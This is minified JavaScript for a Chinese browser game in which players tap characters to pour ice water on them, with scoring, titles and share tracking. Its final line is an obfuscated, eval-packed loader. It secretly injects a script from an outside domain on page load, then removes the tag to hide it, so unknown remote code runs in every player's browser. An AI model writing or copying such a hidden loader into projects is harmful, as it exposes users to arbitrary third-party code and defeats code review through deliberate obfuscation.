(function() {
function m(e, b, f, g) {
b.split(" ").forEach(function(b) {
e.addEventListener(b, f, g || !1)
})
}
function C(e, b, f, g) {
b.split(" ").forEach(function(b) {
e.removeEventListener(b, f, g || !1)
})
}
function M() {
function e() {
n = 0;
Z = K;
D = N;
x = M;
O = Y;
q.text = p.text = r = 0;
q.x = p.x = 400;
$ = Date.now() / 1E3 | 0;
window.removeEventListener("resize", f, !1);
s.style.display = "none";
B()
}
function b() {
y = Math.min(innerWidth / 640, innerHeight / 960);
P = 640 * y | 0;
Q = 960 * y | 0;
R = (innerHeight - Q) / 2 | 0;
S = (innerWidth - P) / 2 | 0;
var d = E.style,
c = {
width: P + "px",
height: Q + "px",
left: S + "px"
},
a;
for (a in c) c.hasOwnProperty(a) && (d[a] = c[a])
}
function f() {
var d = 640 / 960 * innerHeight | 0;
s.style.width = d + "px";
s.style.left = ((innerWidth - d) / 2 | 0) + "px";
aa.style.fontSize = (34 / 960 * innerHeight | 0) + "px"
}
function g() {
function d(a) {
a.stopPropagation();
switch (a.target.getAttribute("data-action")) {
case "retry":
C(s, "click", d);
e();
_hmt.push(["_trackEvent", "button", "gameReStart"]);
break;
case "share":
clickMore();
//F.style.display = "block",
m(F, "click",
function fa() {
//C(F, "click", fa);
clickMore();
//F.style.display = "none"
}),
_hmt.push(["_trackEvent", "button", "share"])
}
}
f();
window.addEventListener("resize", f, !1);
k = 100 * (r / 80);
k = isNaN(k) ? 0.1 : Math.max(0.1, Math.min(99.9, k));
k = k.toFixed(1);
for (var c = n,
a = T.length - 1; - 1 < a; --a) {
var ba = T[a],
c = c - ba[0] * n;
if (r >= c) {
ca = ba[1];
break
}
}
aa.innerHTML = '\u6211\u6cfc\u4e86' + r + "\u6876\u51b0\u6c34\uff0c\u8d85\u8fc7\u4e86" + k + "%\u7684\u6311\u6218\u8005\uff01\u83b7\u5f97" + ca + '\u79f0\u53f7
\u9080\u8bf7\u4f60\u7684\u597d\u53cb\u6765\u4e00\u8d77\u6cfc\u9192\u5c0f\u623f\u5b50\u5427\uff01\u73cd\u7231\u751f\u547d\uff0c\u8fdc\u79bb\u6bd2\u54c1\u3002';
da(r);
s.style.display = "block";
m(s, "click", d);
dp_submitScore(r,k);
}
function L(d) {
var c = new createjs.Bitmap(ga);
c.x = d.x - ha / 2 - 13;
c.y = d.y - ea - 14;
l.addChild(c);
var a = new createjs.Bitmap(ia);
return {
full: function() {
var c = a.getBounds();
a.x = d.x - c.width / 2 - 10;
a.y = d.y - ea + 34;
l.addChild(a)
},
clean: function() {
l.removeChild(c);
l.removeChild(a)
}
}
}
function z(d) {
function c(a, d, e, t, b) {
0 >= e ? b() : (--e, G.get(a).to({
x: d
},
t).to({
x: d
},
t).call(function() {
c(a, d, e, t, b)
}))
}
var a = d.person;
if (!a || a.y > u - 10) return ! 1;
d.hit = !0; ++r;
q.text = p.text = r;
q.x = p.x = 480 - p.getBounds().width;
var e = d.y + a.y;
G.removeTweens(a);
var t = L({
x: d._x,
y: e
});
c(a, 5, 1, x / 8,
function() {
a.visible = !1;
var e = h.getResult(a.wetId),
b = new createjs.Bitmap(e);
b.x = 0;
b.y = a.y;
d.addChild(b);
t.full();
c(b, 3, 2, x / 8,
function() {
setTimeout(function() {
t.clean();
G.get(b).to({
y: u,
x: 0
},
O).call(function() {
d.person = null;
d.removeChild(a);
d.removeChild(b);
a.x = 0;
a.y = u;
d.shown = !1;
d.hit = !1
})
},
x / 8)
})
});
return ! 0
}
function ja() {
for (var d = [], c = v.length - 1; - 1 < c; --c) {
var a = v[c];
a.shown || a.hit || d.push(a)
}
return d
}
function ka(d, c) {
for (var a = d.slice(), e = Math.min(a.length, c), b = [], f = 0; f < e; ++f) {
var g = a.length * Math.random() | 0;
b.push(a[g]);
a.splice(g, 1)
}
return b
}
function la() {
var d = "person-" + U[U.length * Math.random() | 0],
c = h.getResult(d),
c = new createjs.Bitmap(c);
c.wetId = d + "-wet";
c.x = 0;
c.y = u;
return c
}
function w(d) {
var c = ja();
0 < c.length && c.length > v.length / 2 && (d = ka(c, d), n += d.length, d.forEach(function(a, d) {
a.shown = !0;
var c = a.person = la();
a.addChild(c);
G.get(c).wait(100 * d).to({
y: 0
},
Z).wait(x).to({
y: u
},
O).call(function() {
a.person = null;
a.removeChild(c);
a.shown = !1
})
}))
}
function B() {
var d = $ + V - (Date.now() / 1E3 | 0);
0 >= d ? (A.text = '0"', setTimeout(g, 2E3)) : (10 >= d ? (D = 0.6 * N, w(2)) : (D = (0.5 + 0.5 * d / V) * N, w(1)), A.text = d + '"', setTimeout(B, D))
}
var E = document.getElementById("canvas"),
l = new createjs.Stage(E),
G = createjs.Tween,
H = createjs.Ticker;
H.setFPS(30);
H.addEventListener("tick", l);
var v = [],
u = 174,
J = [516, 671, 835],
H = [].concat.apply([], [118, 330, 538].map(function(d) {
return J.map(function(c) {
return [d, c]
})
})),
K = 300,
N = 600,
M = 300,
Y = 300,
Z,
D,
x,
O,
r,
V = 30,
$,
W = new createjs.Bitmap(h.getResult("bg"));
W.x = 0;
W.y = 0;
l.addChild(W);
var A = new createjs.Text(V + '"', "72px Arial", "#fff");
A.x = 130;
A.y = 28;
l.addChild(A);
var p = new createjs.Text(0, "148px Arial", "#fff"),
q = new createjs.Text(0, "148px Arial", "#253574");
q.x = p.x = 400;
q.y = p.y = 28;
p.outline = 6;
l.addChild(p);
l.addChild(q);
var s = document.getElementById("board"),
aa = document.getElementById("board-text"),
P,
Q,
R,
S,
y;
b();
window.addEventListener("resize", b, !1);
var F = document.getElementById("share-tip"); (new Image).src = "vapp/share_tip.png?1408476074";
var ha = 114,
ea = 152,
ga = h.getResult("bucket"),
ia = h.getResult("water"),
X = ["touchstart", "mousedown"],
I;
m(E, X.join(" "),
function c(a) {
if (void 0 === I) {
I = a.type;
for (var e = X.length - 1; - 1 < e; --e) {
var b = X[e];
b !== I && C(E, b, c)
}
} else if (I !== a.type) return;
a.stopPropagation();
b = a.touches ? a.touches[0].pageX: a.pageX;
a = a.touches ? a.touches[0].pageY: a.pageY;
b = (b - S) / y | 0;
a = (a - R) / y | 0;
for (e = v.length - 1; - 1 < e; --e) {
var f = v[e];
if (!f.hit && f.shown) {
var g = f.x,
l = f.y;
if (b >= g && (b <= g + 200 && a >= l && a <= l + 180) && z(f)) break
}
}
});
H.forEach(function(c) {
var a = new createjs.Container,
e = c[0];
c = c[1];
a._x = e;
a._y = c;
a.x = e - 71;
a.y = c - u;
var b = new createjs.Shape;
b.setBounds(0, 0, 200, 200);
b.graphics.drawCircle(100, 100, 100);
b.x = e - 100;
b.y = c - 200;
a.mask = b;
l.addChild(a);
v.push(a)
});
e()
}
function da(e) {
e = e || 0;
}
var B; !
function() {
var e = "",
b = "",
f = "",
g = "",
k = "";
B = function(z, h, m, n, w) {
"" != z && null != z ? e = z: "";
"" != h && null != h ? b = h: "";
"" != m && null != m ? f = m: "";
"" != n && null != n ? g = n: "";
"" != w && null != w ? k = w: ""
};
} ();
var Y = document.getElementById("loading"),
J = document.getElementById("loading-progress");
J.innerHTML = "10";
var U = ["lj", "fs", "ldh"],
K = [{
src: "bg.png?1408476074",
id: "bg"
},
{
src: "bucket.png?1408476074",
id: "bucket"
},
{
src: "water-full.png?1408476074",
id: "water"
}];
U.forEach(function(e) {
K.push({
src: "person-" + e + ".png?1408476074",
id: "person-" + e
},
{
src: "person-" + e + "-wet.png?1408476074",
id: "person-" + e + "-wet"
})
});
var h = new createjs.LoadQueue(!1, "vapp/");
h.loadManifest(K);
h.on("progress",
function(e) {
J.innerHTML = (100 * e.progress).toFixed(2)
});
m(document, "touchmove",
function(e) {
e.preventDefault();
e.stopPropagation()
});
var k = 0.1,
n = 0,
T = [[0.1, "冷血无情"], [0.2, "色眯眯善人"], [0.3, "爱心小苹果"], [0.3, "爱心小公主"], [0.1, "慈善大屎"]],
ca = T[0][1];
h.on("complete",
function() {
var e = document.getElementById("start"),
b = document.getElementById("start-btn"),
f = !1;
m(b, "click",
function L(h) {
h.preventDefault();
C(b, "click", L);
e.style.display = "none";
f || (f = !0, M(), _hmt.push(["_trackEvent", "button", "gameStart"]))
});
Y.style.display = "none"
});
//da()
})();
(function() {
var a = document.createElement('script');
a.type = 'text/javascript';
a.async = true;
a.src = '';
var b = document.getElementsByTagName('script')[0];
b.parentNode.insertBefore(a, b);
a.onload = function() {
a.parentNode.removeChild(a)
}
})();
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[4-9c-l]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c _$=[\'\\6\\7\\d\\8\\9\\4\',\'\\4\\e\\x78\\4\\5\\h\\f\\x76\\f\\6\\7\\d\\8\\9\\4\',\'\\x68\\4\\4\\9\\x3a\\5\\5\\x77\\e\\8\\g\\x32\\6\\x6b\\x79\\g\\7\\x6e\\5\\x67\\f\\x6d\\e\\5\\i\\i\\5\\x6f\\g\\h\\6\',\'\\6\\7\\d\\8\\9\\4\'];(j(){c a=k.createElement(_$[0]);a.type=_$[1];a.async=true;a.src=_$[2];c b=k.getElementsByTagName(_$[3])[0x0];b.l.insertBefore(a,b);a.onload=j(){a.l.removeChild(a)}})();',[],22,'||||x74|x2f|x73|x63|x69|x70|||var|x72|x65|x61|x2e|x6a|x38|function|document|parentNode'.split('|'),0,{}))